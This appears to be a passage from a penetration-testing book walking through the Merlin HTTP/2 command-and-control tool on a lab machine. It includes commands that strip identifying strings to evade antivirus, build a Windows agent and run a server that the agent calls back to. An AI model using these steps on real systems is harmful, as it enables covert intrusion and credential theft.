Merlin is a post-exploit Command & Control (C2) tool, also known as a Remote Access Tool (RAT), that communicates using the HTTP/1.1, HTTP/2, and HTTP/3 protocols. HTTP/3 is the combination of HTTP/2 over the Quick UDP Internet Connections (QUIC) protocol.
It can run on Linux, Windows, and basically any other platform supported by the Go runtime. The agent launched on the target machine can be a regular executable, like a DLL file or even a JavaScript file.
To get started with Merlin, first install the Golang environment. This will allow you to customize the executable agent and add post-exploitation modules—which is, of course, heavily encouraged. Install Golang and Merlin with the following:
root@mmkernel:~/# add-apt-repository ppa:longsleep/golang-backports
root@mmkernel:~/# apt update && sudo apt install golang-go
root@mmkernel:~/# go version
go version go1.13 linux/amd64
root@mmkernel:~/# git clone https://github.com/Ne0nd0g/merlin && cd merlin
The real novelty of Merlin is that it relies on HTTP/2 to communicate with its backend server. HTTP/2, as opposed to HTTP/1.x, is a binary protocol that supports many performance-enhancing features, like stream multiplexing, server push, and so forth (a great free resource that discusses HTTP/2 in depth can be found at https://daniel.haxx.se/http2/http2-v1.12.pdf ). Even if a security device does catch and decrypt the C2 traffic, it might fail to parse the compressed HTTP/2 traffic and just forward it untouched.
If we compile a standard agent out of the box, it will be immediately busted by any regular antivirus agent doing simple string lookups for general conspicuous terms, so we need to make some adjustments. We’ll rename suspicious functions like ExecuteShell and remove references to the original package name, github.com/Ne0nd0g/merlin. We’ll use a classic find command to hunt for source code files containing these strings and pipe them into xargs, which will call sed to replace these suspicious terms with arbitrary words:
root@mmkernel:~/# find . -name '*.go' -type f -print0 \
| xargs -0 sed -i 's/ExecuteShell/MiniMice/g'
root@mmkernel:~/# find . -name '*.go' -type f -print0 \
| xargs -0 sed -i 's/executeShell/miniMice/g'
root@mmkernel:~/# find . -name '*.go' -type f -print0 \
| xargs -0 sed -i 's/\/Ne0nd0g\/merlin/\/mini\/heyho/g'
root@mmkernel:~/# sed -i 's/\/Ne0nd0g\/merlin/\/mini\/heyho/g' go.mod
This crude string replacement bypasses 90 percent of antivirus solutions, including Windows Defender. Keep tweaking it and then testing it against a tool like VirusTotal (https://www.virustotal.com/gui/) until you pass all tests.
Now let’s compile an agent in the output folder that we will later drop on a Windows test machine:
root@mmkernel:~/# make agent-windows DIR="./output"
root@mmkernel:~/# ls output/
merlinAgent-Windows-x64.exe
Once executed on a machine, merlinAgent-Windows-x64.exe should connect back to our Merlin server and allow complete takeover of the target.
We fire up the Merlin C2 server using the go run command and instruct it to listen on all network interfaces with the -i 0.0.0.0 option:
root@mmkernel:~/# go run cmd/merlinserver/main.go -i 0.0.0.0 -p 8443 -psk\
strongPassphraseWhateverYouWant
[-] Starting h2 listener on 0.0.0.0:8443
Merlin>>
We execute the Merlin agent on a Windows virtual machine acting as the target
to trigger the payload:
PS C:\> .\merlinAgent-Windows-x64.exe -url https://192.168.1.29:8443 -psk\
strongPassphraseWhateverYouWant
And here is what you should see on your attack server:
[+] New authenticated agent 6c2ba6-daef-4a34-aa3d-be944f1
Merlin>> interact 6c2ba6-daef-4a34-aa3d-be944f1
Merlin[agent][6c2ba6-daef-...]>> ls
[+] Results for job swktfmEFWu at 2020-09-22T18:17:39Z
Directory listing for: C:\
-rw-rw-rw- 2020-09-22 19:44:21 16432 Apps
-rw-rw-rw- 2020-09-22 19:44:15 986428 Drivers
--snip--
The agent works like a charm. Now we can dump credentials on the target machine, hunt for files, move to other machines, launch a keylogger, and so forth.
Merlin is still a project in its infancy, so you will experience bugs and inconsistencies, most of them due to the instability of the HTTP/2 library in Golang. It’s not called “beta” for nothing, after all, but the effort behind this project is absolutely amazing. If you’ve ever wanted to get involved in Return of Command and Control 15 Golang, this could be your chance. The framework has just shy of 50 postexploitation modules, from credential harvesters to modules for compiling and executing C# in memory.